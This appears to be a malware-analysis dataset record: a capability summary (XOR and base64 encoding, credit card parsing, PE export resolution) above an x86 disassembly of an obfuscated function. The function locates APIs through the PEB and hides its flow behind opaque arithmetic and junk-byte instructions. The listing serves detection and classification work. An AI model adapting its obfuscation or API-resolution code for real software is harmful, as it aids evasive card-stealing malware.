Function at 0x70b485ee
Capabilities:
Encode data using base64
Encode data using xor
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x12c
mov dword [ebp - 0x18], 0x59bee
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xc7de9
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0xd1fe2
or eax, dword [ebp - 0x24]
je 0x70b48b7e
mov edx, 0xd1fe2
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b4908a
mov eax, dword [ebp - 0x28]
xor eax, 0x6e1fb
or eax, dword [ebp - 0x24]
je 0x70b4908d
mov eax, dword [ebp - 0x28]
xor eax, 0xb40c6
or eax, dword [ebp - 0x24]
jne 0x70b4908a
pop eax
sub ch, byte [esi]
push esp
fidiv dword [ecx]
test al, 0x79
pop edx
test dword [edi - 0x72c7ab06], 0xbc34b33a
stc
invalid
push edi
fstp xword [esi + 0x3b]
imul esp, dword [ecx + ebx*4 + 0x19], 0xe
pushal
mov fs, word [edi*4 + 0x453f21ee]
xchg esi, eax
bound ebx, qword [edi + 0x6e]
and ah, byte [ecx - 0x3d82c71b]
dec eax
push cs
mov byte [eax], ah
pushfd
hlt
nop
jmp 0x70b4908e
nop
mov dword [ebp - 0x124], 0x30
mov eax, dword [ebp - 0x124]
mov eax, dword fs:[eax]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0x11d35
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0x8cb6f
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0xf0be7
or eax, dword [ebp - 0x44]
je 0x70b4f432
mov edx, 0xf0be7
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xe7220
or eax, dword [ebp - 0x44]
je 0x70b4dff6
mov edx, 0xe7220
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xe5f4a
or eax, dword [ebp - 0x44]
je 0x70b4dae7
mov edx, 0xe5f4a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xe4f97
or eax, dword [ebp - 0x44]
je 0x70b4d0c9
mov edx, 0xe4f97
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xca2a8
or eax, dword [ebp - 0x44]
je 0x70b4c19c
mov edx, 0xca2a8
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xbabe5
or eax, dword [ebp - 0x44]
je 0x70b4d5d8
mov edx, 0xbabe5
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xb65b5
or eax, dword [ebp - 0x44]
je 0x70b4b77e
mov edx, 0xb65b5
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0xab3dd
or eax, dword [ebp - 0x44]
je 0x70b4ad60
mov edx, 0xab3dd
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x9e8a4
or eax, dword [ebp - 0x44]
je 0x70b4fe50
mov edx, 0x9e8a4
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x91770
or eax, dword [ebp - 0x44]
je 0x70b4ef23
mov edx, 0x91770
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x835bf
or eax, dword [ebp - 0x44]
je 0x70b4c6ab
mov edx, 0x835bf
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x7c584
or eax, dword [ebp - 0x44]
je 0x70b49415
mov edx, 0x7c584
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x6a33b
or eax, dword [ebp - 0x44]
je 0x70b4cbba
mov edx, 0x6a33b
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x69b3b
or eax, dword [ebp - 0x44]
je 0x70b49924
mov edx, 0x69b3b
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x54d61
or eax, dword [ebp - 0x44]
je 0x70b4a851
mov edx, 0x54d61
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x503f5
or eax, dword [ebp - 0x44]
je 0x70b4e505
mov edx, 0x503f5
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x40622
or eax, dword [ebp - 0x44]
je 0x70b4f941
mov edx, 0x40622
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x3919d
or eax, dword [ebp - 0x44]
je 0x70b4b26f
mov edx, 0x3919d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x2e503
or eax, dword [ebp - 0x44]
je 0x70b49e33
mov edx, 0x2e503
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x21cd1
or eax, dword [ebp - 0x44]
je 0x70b4ea14
mov edx, 0x21cd1
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b4fe4d
mov eax, dword [ebp - 0x48]
xor eax, 0x185f7
or eax, dword [ebp - 0x44]
je 0x70b4bc8d
mov eax, dword [ebp - 0x48]
xor eax, 0x1b02d
or eax, dword [ebp - 0x44]
je 0x70b4a342
jmp 0x70b4fe4d
sbb dh, byte [esi]
xlatb
fisubr word [0x80af0503]
inc ebx
loopne 0x70b49432
clc
push es
pop edx
push eax
mov ebp, 0xa5275a5c
mov ebx, 0x3a318b02
mov bh, 0xcf
test ebp, eax
mov ebp, 0xe757238
lds edi, [ebp + 0xe757238]
push ebx
invalid
into
sbb dh, byte [eax - 0x76]
shl byte [edi - 0x5150c34d], 0xfb
cmp al, 0x53
scasb al, byte es:[edi]
dec ecx
aam 0x63
mov ch, 0xa8
push cs
invalid
or ch, byte [eax - 0x53]
sbb al, 0x86
inc ebx
rcl ebp, cl
scasb al, byte es:[edi]
mov esp, 0x95dfa3b6
invalid
jge 0x70b4a350
invalid
mov eax, 0xd6a60c26
jg 0x70b4a34f
adc bl, dh
lea esi, [edi - 0x1984729b]
jnp 0x70b4a337
out 0x65, al
cwde
cwde
mov word [edx], es
retf
test ebx, 0x1c15ca19
loop 0x70b4a809
mov eax, eax
adc esp, 0x895ec045
pop ebx
or dword [ecx + 0x4b6dd2cd], ecx
cli
pushfd
nop
int3
out 0x16, eax
mov al, 0xe2
lcall 0x4ec0, 0xfc60d658
push 0xffffffffffffffb6
sub ecx, dword [edx - 0x126ca4d2]
scasd eax, dword es:[edi]
shl byte [esi + edx*8 + 0x1f], 1
push edi
pop dword [edi]
xlatb
xchg edx, eax
imul eax, dword [edi + 0xf0321a2], 0xffffffc7
push es
out 0x94, al
xchg esp, eax
inc eax
in al, dx
into
mov al, byte [0xc1e6e0e]
or al, 0x59
loope 0x70b4a8a6
cmp dword [ecx], 0xffffff82
push cs
cld
in al, 0x3f
les ebx, ds:[esi + 0x5a]
push ebp
ja 0x70b4a7db
int3
fcomp qword [ebp + 0x669fb0cf]
adc edi, dword [ecx]
in eax, dx
xchg ebx, eax
lodsb al, byte [esi]
jle 0x70b4a868
xchg edi, eax
into
cmp byte [ebp + eax*8 - 0x7d25cbb0], dh
mov cl, cl
leave
loope 0x70b4a883
aam 0xa6
add al, 0xb1
ja 0x70b4a897
invalid
test eax, 0xb6f9945d
cmp al, 0x79
int 0x24
push edi
invalid
je 0x70b4a82f
js 0x70b4a8c1
fstp dword [esi]
cmp esp, esi
jb 0x70b4a8e9
mov edi, 0x90ddcb81
or ebx, 0x51cc90dd
sbb dh, al
fcom qword [esi - 0x7c]
cli
xchg esp, eax
xor dword [edx], edi
inc esp
invalid
int3
xor byte [ebp - 0x68], 0xe4
hlt
ficomp word [edi]
cmp eax, 0x2aa3b366
mov bl, 0x1a
push edi
add al, 0x19
lahf
adc byte [eax], bh
sub eax, 0xcc9068c0
push eax
js 0x70b4a8a2
scasb al, byte es:[edi]
test dword [eax], ebx
mov bh, 0xbe
invalid
iretd
jae 0x70b4ada4
push esp
pop esp
adc edi, dword [edx]
imul byte [ecx]
invalid
pop edi
and ebp, ebx
stosb byte es:[edi], al
push es
enter 0xffffffffffffac91, 0xffffffffffffff98
neg eax
aas
imul esi, esi, 0xffffffc0
mov dl, 0xef
loope 0x70b4ad32
push bp
dec eax
sbb bh, cl
push ecx
pushfd
sub dword [ebx - 0x29a613ba], ecx
movsb byte es:[edi], byte [esi]
xlatb
stosd dword es:[edi], eax
sub byte [edi], ch
clc
xchg byte [eax], dh
js 0x70b4ad2e
call 0x9d3eef6
cmp cl, 0x86
retf 0x4f41
xchg edx, eax
push esp
clc
adc bh, byte [ecx + ebx*8]
push 0x7b
dec eax
pop ss
sub edx, 0xffffff90
cmp al, 0x10
mov dword [eax - 0x35ffc634], edx
sbb dword [ebx + 0x11967376], ebp
cmp byte [eax + eax*8 + 5], ah
clc
shl byte [edi + edx*4 + 0x67], 1
pop ss
sub byte [ecx - 0x13], ah
loop 0x70b4ae2b
out dx, eax
loopne 0x70b4ad69
hlt
xor eax, 0xe40671d7
pop esi
jp 0x70b4ae86
xor byte [ebp + 0x2f933750], 0x6b
cmp ebx, dword [ecx - 0xe]
mov bl, 7
dec ebx
and eax, 0xd4da74f0
push ds
sal dword [eax + 0x77a19167], 0x39
and al, 0x2c
and cl, byte [ebx + ecx*8]
adc cl, dh
in eax, dx
xor dword [ecx], esp
inc esi
push 0xe7384d8d
leave
nop
int3
je 0x70b4ae9c
rcr dword [edi - 5], 1
je 0x70b4aedf
ljmp 0x45f8:0xd5fc5f0b
mov esi, ss
mov edi, 0x2f444953
or byte [ebx - 0x4cabb28e], cl
xsaveopt [ebp - 0x5c045ac]
int 0xac
in eax, dx
push es
jne 0x70b4aebe
nop
int3
ja 0x70b4ae60
cmp esi, dword [ebx]
aaa
dec edx
sahf
xchg ebp, eax
jecxz 0x70b4ae8b
mov ebp, 0x511710c8
lodsd eax, dword [esi]
adc dword [ebx], ebx
rcr byte [ecx], cl
aam 0x15
int 0xce
imul ebp, esi, 0xffffffe1
int1
cmp al, 0xad
test eax, 0x59beef41
sub edi, dword [edi + 0x2e]
inc ecx
out dx, eax
mov esi, 0x2e7f2b59
retf
cmp al, 0x11
jg 0x70b4b235
invalid
test al, 0x11
pop es
stosd dword es:[edi], eax
pop eax
xchg ebx, eax
and byte [edx - 3], bh
call 0x4c8e20fc
outsb dx, byte [esi]
fstpnce st(3), st(0)
or dh, byte ss:[ecx]
int 0x90
sbb dword [eax - 0x7927bd56], edi
push ebp
and byte gs:[ebp - 0x4c54dae5], al
sub dword [ebx + 0x5719853], ebx
mov bl, 0x29
wait
push ebx
cwde
jno 0x70b4b261
jns 0x70b4b21e
pop edx
pop ds
jns 0x70b4b240
fisub word [eax]
inc ebp
sal ebx, 1
hlt
and byte [ebp - 0x2f], al
hlt
push cs
mov word [ebx - 0x48], gs
loop 0x70b4b21c
fimul dword [eax + 0x6c219eb8]
xchg esp, eax
adc eax, 0x5a6533b
xchg edx, eax
inc esp
jecxz 0x70b4b282
scasb al, byte es:[edi]
out 0xda, al
dec ecx
enter 0x5d69, 0xffffffffffffff8e
jno 0x70b4b255
loopne 0x70b4b2f2
or byte [edx], ch
lahf
jno 0x70b4b2f8
xchg dword [esi + 0x63], ebp
cmpsb byte [esi], byte es:[edi]
and eax, 0x3fa4c7dc
add al, 0xc
push esp
daa
ljmp 0xc70a
adc byte [edi], cl
mov bl, 0xd8
aas
sub byte [eax - 0x55], 0x3d
invalid
push 0x6cdd3dab
mov dl, bh
ljmp 0x67c2
call 0x28411b76
test al, 0x52
nop
int3
mov dword [0x7e9f449], edx
xor bh, byte [ebx]
test al, 0x9c
and dh, byte [ebx - 0x7b]
jg 0x70b4b770
xchg ebx, eax
and eax, 0xc64b0890
sub bh, ah
add eax, 0x489c8cfc
xor al, 0x77
invalid
xchg dword [0xb894a111], edx
in eax, dx
push es
and eax, 0x88085912
fmul st(4), st(0)
push esp
out 6, eax
invalid
push esi
sbb byte [eax + 0xf], 0xf7
pushal
mov ah, 0x8f
invalid
pop ecx
push esp
cmp al, 0x74
shl dword [edx + 0x62], 0xc7
wait
cmp eax, 0x629fef05
shr edx, 1
and edi, dword [ebx + 0x75]
mov al, 0x8b
xor dword [ebp - 0x70497d84], ecx
dec ebx
insd dword es:[edi], dx
push ss
wait
stc
mov edx, 0x23c5754
retf
hlt
retf 0x32f6
mov ecx, 0x86d0aecb
fcom dword [esi - 0x5d]
lodsd eax, dword [esi]
insd dword es:[edi], dx
out 0x67, al
aaa
jmp 0x70b4d074
dec esi
xor eax, 0x993bb682
pop eax
leave
rcl bh, 0xc3
out dx, al
add ah, byte [ebp + esi*8 + 0x2939dfc9]
sbb al, 0x2b
loope 0x70b4d09c
int3
sub edi, dword [ecx]
les esi, [eax]
xchg esi, eax
adc dword [0x70c91206], edx
cmp dword [esi], ecx
xor dword [edi], eax
fst qword [eax + 0x22]
dec edi
invalid
or dl, byte [eax + ebx]
ljmp 0x29a
jae 0x70b4da9f
jnp 0x70b4db1d
and al, 0xf
mov dl, 0xfc
dec ecx
pop es
stosd dword es:[edi], eax
jg 0x70b4db30
sar esp, 0xad
add ebp, dword [ecx]
mov edx, 0x2ec182bc
jno 0x70b4db56
scasb al, byte es:[edi]
inc esi
xor al, 0xa1
xor eax, 0x7e98134f
invalid
sbb byte [edx + 0x42aef1da], 0x78
clc
js 0x70b4db17
movsd dword es:[edi], dword [esi]
neg byte [edi - 0x65]
sub ebp, ebx
mov bl, 0x4f
aaa
imul ebx, ecx, 0xfe431b82
pop esi
in al, dx
mov cl, 0x7a
dec ebx
mov edx, 0xd3accee1
mov ch, 0x64
pushal
nop
int3
out 0xef, eax
loopne 0x70b4db6c
outsb dx, byte [esi]
out 0xca, al
and byte [ecx - 0x4c], dl
lcall 0x4333, 0xd3fc0ea4
pop eax
std
xchg esp, eax
lds esp, [edi]
daa
mov ah, 4
and bh, cl
jle 0x70b4db78
xlatb
pop ds
push 0xb5deb721
bound ebx, qword [edx + 0x4d]
add byte [ebx], bl
invalid
fidiv word [ebp + 0x4d5a62]
sbb ebx, edx
out dx, eax
push 0xfffffffffffffff7
sti
retf
lodsd eax, dword [esi]
sti
fisttp dword [ebp - 0x4f]
out dx, eax
adc al, 0x20
sbb ebp, dword [edi + 0x62]
jne 0x70b4e029
loope 0x70b4e059
pushal
xchg dword [ecx - 0x7c], edx
jg 0x70b4e07a
outsd dx, dword [esi]
push ecx
lodsb al, byte [esi]
push cs
jl 0x70b4e03c
sub ch, byte [edi - 0x2b]
cmc
invalid
and bl, byte [eax + 0xfd2c16b]
dec edi
test edx, edx
sbb byte [esi + 0x567aaffa], al
and al, 0xc6
dec esp
lodsb al, byte [esi]
sub dword [eax + 0x72], edi
xchg esp, eax
pop esi
shl dword [esi - 0x47adf8f8], 1
lea ebp, [edx + 0x3acc90eb]
test eax, 0x454abe4c
dec edx
inc ebp
push esi
lodsb al, byte [esi]
jno 0x70b4e06f
cli
or dl, ah
xchg esp, eax
aam 0x9d
in eax, 0xf4
out dx, eax
mov dh, 0xf6
mov edx, dword [0x24744570]
mov dword [0xdbef777b], eax
pop ss
movsb byte es:[edi], byte [esi]
xchg esp, eax
or esp, dword [esi - 0x3b]
sahf
mov word [eax + 1], ss
stc
xor byte [esi + 0x580cb5ce], dl
mov ch, 0xc
pop eax
pop es
mov eax, 0xcde2f3bb
loop 0x70b4e050
adc byte [edi + 0x1c], bh
movsd dword es:[edi], dword [esi]
pop edi
xchg edx, eax
pop ss
jmp 0x70b4e081
hlt
into
leave
cmp byte [eax + 0x194ce9cc], dl
add byte [eax], al
salc
fdivr dword [eax]
mov byte [edx + 0x2a], al
out 0x57, eax
fimul word [edx + ebp]
cdq
push edi
xor eax, 0x7368f9ac
sbb al, 0x91
aaa
sub bl, byte [ecx - 0x653caa9]
push 0x37911c73
jg 0x70b4e50f
jne 0x70b4e4fb
loop 0x70b4e55c
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
push 0xd7ec67f8
fbld tbyte [ebx]
push ecx
iretd
fstp dword [ebp - 0x70bf433c]
std
lds esi, [ebx + 0x29b8975]
jo 0x70b4e4ed
std
mov byte [0x8252c42a], al
fstp xword [ebp + 9]
js 0x70b4e562
inc ebp
sub al, byte [edi + 0x761e5ebd]
fxch st(3)
aam 0x9a
add dword [0x8548c9da], ebx
popal
adc edx, dword [eax + 0x7cb90cd1]
mov dl, 0xbe
sub eax, esi
mov dword [esp + ecx*8], edx
or dword [esi + 2], esi
std
lodsd eax, dword [esi]
sar bl, 0x66
idiv esp
dec esp
sahf
aas
sub esi, dword [edi - 0x77]
xchg ebx, eax
clc
ljmp 0x903b
lodsb al, byte [esi]
push esp
adc ebx, esp
inc esi
cmp eax, 0xa4869e6d
les ecx, [edi - 0x41c9e0d2]
adc esp, dword [edx + 0x3b]
fstp qword [esi + 0x67946b63]
mov cl, 0x9d
out dx, eax
outsb dx, byte [esi]
int 0xa9
ror byte [ebx], cl
adc al, 0x61
add ebx, edx
ror dword [ecx + 0x1f18a312], 1
ret
invalid
invalid
xchg esp, eax
inc ecx
jns 0x70b4ef03
and esi, dword [ebx - 0x579d50a0]
jae 0x70b4ef01
retf
or dword [edx + 0x68a2283b], eax
jns 0x70b4f49a
xchg ebp, eax
sbb al, 0xe1
fld qword [eax - 0x591f1b56]
aas
sbb dword [ebx - 0x7a279206], esp
imul byte [ecx - 0x1ae2e39]
add dword [ecx], 0x3fba245a
ret 0x1d42
sbb al, 0x6c
aaa
test dword [esi + 0x483d735d], 0xd052e57e
sbb byte [ebp - 0x4e4a70da], al
xor ebp, dword [eax]
lodsd eax, dword [esi]
and byte [edi + edx*8 + 0x74], 0xf1
stosd dword es:[edi], eax
xor ebx, dword [esi - 0x2a40ef83]
inc edx
push esi
xchg esi, eax
adc al, 0xf5
pop ecx
out dx, eax
mov ecx, 0xb030f51e
and byte [esi + 9], bh
and ch, byte [esi + 0x2dbf2b1f]
add ah, ch
fstp xword [edi + 0xa]
out dx, al
bound eax, qword [ecx - 0x70]
int3
cmp al, 0xa0
pop ds
invalid
nop
jmp 0x70b4fe51
nop
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 0x54861
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x560e0
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xd26ed
or eax, dword [ebp - 0x64]
je 0x70b4ff76
mov edx, 0xd26ed
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b51dcd
mov eax, dword [ebp - 0x68]
xor eax, 0xc4343
or eax, dword [ebp - 0x64]
je 0x70b50994
mov edx, 0xc4343
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b51dcd
mov eax, dword [ebp - 0x68]
xor eax, 0xba1e5
or eax, dword [ebp - 0x64]
je 0x70b50ea3
mov edx, 0xba1e5
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b51dcd
mov eax, dword [ebp - 0x68]
xor eax, 0xaa941
or eax, dword [ebp - 0x64]
pushfd
je 0x70b51dd0
mov edx, 0xaa941
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b51dcd
mov eax, dword [ebp - 0x68]
xor eax, 0x70765
or eax, dword [ebp - 0x64]
pop es
add byte [ebx], cl
inc ebp
pushfd
je 0x70b513b2
mov edx, 0x70765
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b51dcd
mov eax, dword [ebp - 0x68]
xor eax, 0x23753
or eax, dword [ebp - 0x64]
je 0x70b518c1
mov eax, dword [ebp - 0x68]
xor eax, 0x272e8
or eax, dword [ebp - 0x64]
je 0x70b50485
jmp 0x70b51dcd
add eax, 0xc3eed59c
ja 0x70b4ff2e
daa
adc edi, esi
xchg edi, eax
mov esi, es
out dx, al
push es
push esp
jns 0x70b4ff0b
ret 0x2af3
jmp 0xb4a47a7c
wait
mov dword [0x188272fa], eax
push esi
xchg dword [esi], eax
jns 0x70b509e7
xchg ebp, eax
stosb byte es:[edi], al
cmp al, 0xe1
and edi, dword [ecx - 0x28]
add al, 0x71
xor byte [ebx + eax*8 - 0x55b3ff70], bl
mov ebp, 0xaea26403
rcl byte [ecx - 0x2b], 0x66
std
loopne 0x70b509dd
cmp ch, byte [edx + ebp*2]
inc esi
or eax, 0xdf24bda5
salc
dec ebp
mov dh, 0x2e
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
mov edx, 0xcaafb6fd
adc al, 0x34
sti
test byte [ebp - 0x33], ah
enter 0xffffffffffffc397, 0x68
mov dh, cl
fimul word [ebx + 0x2e]
sbb ebp, dword [edx - 0x61e36def]
dec ebx
sbb ebp, dword cs:[edx - 0x61e36def]
in eax, 0x5f
das
nop
int3
add ch, dl
inc esp
shl byte [esi], cl
inc eax
enter 0x229, 0x70
push es
adc esp, dword [esi + 0xf809d9a]
and esp, ebx
test dword [edi], ebx
test eax, 0xb1775db0
xor byte [ebp + 0x31], dl
cmp dl, 0x25
iretd
pushal
into
sbb dword [0xb0f29c4], 0x41
pop ss
jno 0x70b51380
push cs
aad 0xd9
push ebx
pop edx
lcall 0xe561, 0x4a40985a
mov dword [ebp - 0xa], esp
outsb dx, byte [esi]
push ebx
or ah, dh
inc edi
invalid
mov eax, dword [0x1c36f1ed]
adc bl, byte [esp + esi*8]
nop
int3
loop 0x70b51366
add dword [eax - 0x71427c5c], ecx
fld st(1)
dec edi
sar dword [edi], 0xab
sbb bh, 0xdd
int 0x9c
cmp dword [edx - 0x19], ebp
mov byte [edx - 0x4e], 0xe6
or al, 0xe8
salc
mov edi, 0x42f6f0b2
pop ebx
dec esp
and dword [edi - 0x4e473d39], esi
xor cl, bl
pop esp
xor bh, 0xcd
and byte [eax + 0x7e], cl
sbb byte [edx], bl
sti
sahf
jl 0x70b513a3
jo 0x70b51371
cmp esp, esi
and al, 0xcd
jg 0x70b5146d
lcall 0x3b5c, 0x1d2a1c8
mov dword [ecx + 0x4a8fa465], ebx
insd dword es:[edi], dx
mov al, byte [0x4e2605df]
nop
int3
inc edx
rcr byte [edi - 0x74c0eebf], 0x25
cld
pop ds
invalid
invalid
pop es
and ch, dl
and eax, 0x62b6adbf
xchg byte [esp + esi*2], bl
lea edx, [esp + esi]
or al, 0xf4
cli
sal byte [edx - 0x367585b], cl
inc ecx
cld
sub edx, dword [ebp - 0x24971d16]
scasd eax, dword es:[edi]
dec edx
mov dh, 0x77
xchg cl, dl
in eax, dx
jge 0x70b518fb
lodsd eax, dword [esi]
mov cl, 0x5e
jbe 0x70b5188f
xor eax, 0x1197041c
test eax, 0x555d991a
sbb ecx, dword [eax + ecx - 0x2f90e40]
sal cl, 6
std
shr byte [eax - 0x73], cl
std
in eax, dx
pushal
loopne 0x70b51922
popal
xorps xmm7, xmm6
fnstenv [eax + 0x31]
into
test al, 0x71
shl byte [ecx], 0x1e
nop
int3
invalid
nop
jmp 0x70b51dd1
nop
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x70], 0xcf53c
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x8850b
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0x65d6b594
mov edx, dword [ebp - 0x7c]
xor edx, 0x6e
or eax, edx
je 0x70b54d07
mov edx, 0x65d6b594
mov eax, 0x6e
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0xf1884
or eax, dword [ebp - 0x7c]
je 0x70b51f83
mov edx, 0xf1884
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0xf12d1
or eax, dword [ebp - 0x7c]
je 0x70b538ce
mov edx, 0xf12d1
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0xaaab9
or eax, dword [ebp - 0x7c]
je 0x70b547fb
mov edx, 0xaaab9
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0x7aabf
or eax, dword [ebp - 0x7c]
je 0x70b52eb0
mov edx, 0x7aabf
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0x5dc33
or eax, dword [ebp - 0x7c]
je 0x70b542ec
mov edx, 0x5dc33
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0x4313f
or eax, dword [ebp - 0x7c]
je 0x70b529a1
mov edx, 0x4313f
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0x31452
or eax, dword [ebp - 0x7c]
je 0x70b533bf
mov edx, 0x31452
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x70b54d0a
mov eax, dword [ebp - 0x80]
xor eax, 0x700f
or eax, dword [ebp - 0x7c]
je 0x70b52492
mov eax, dword [ebp - 0x80]
xor eax, 0x143d9
or eax, dword [ebp - 0x7c]
je 0x70b53ddd
jmp 0x70b54d0a
out 0xfb, eax
and al, 0x49
adc eax, 0x39efdd08
dec edi
push ds
insb byte es:[edi], dx
mov ds, word [edi]
mov ebp, 0xcc115065
not byte [ebx - 0x235e2ab9]
dec edx
sti
cld
cmp esi, dword [ebx]
jb 0x70b52023
pop ds
inc ebx
sub ebp, esi
mov esi, dword [eax - 0x208cc4b5]
pushfd
rol dword [eax], cl
xchg esp, eax
ficom word [edi + 0x5e]
xchg edx, eax
test eax, 0x95cb27a0
mov ch, 0xac
sbb edx, dword [edx - 0x5c]
out 0x68, eax
push ecx
inc esi
dec esi
sub byte [esi + 0x3aec2e81], ch
dec ebp
inc eax
outsb dx, byte [esi]
xchg edi, eax
add eax, 0x3cf8057f
sub al, 0x2a
pop ebx
nop
int3
xor eax, 0xd2e106de
out 0xe6, al
les edx, [ebp + 0x39cc9096]
add eax, 0x93ceb75c
salc
inc esp
or ebx, ecx
ret
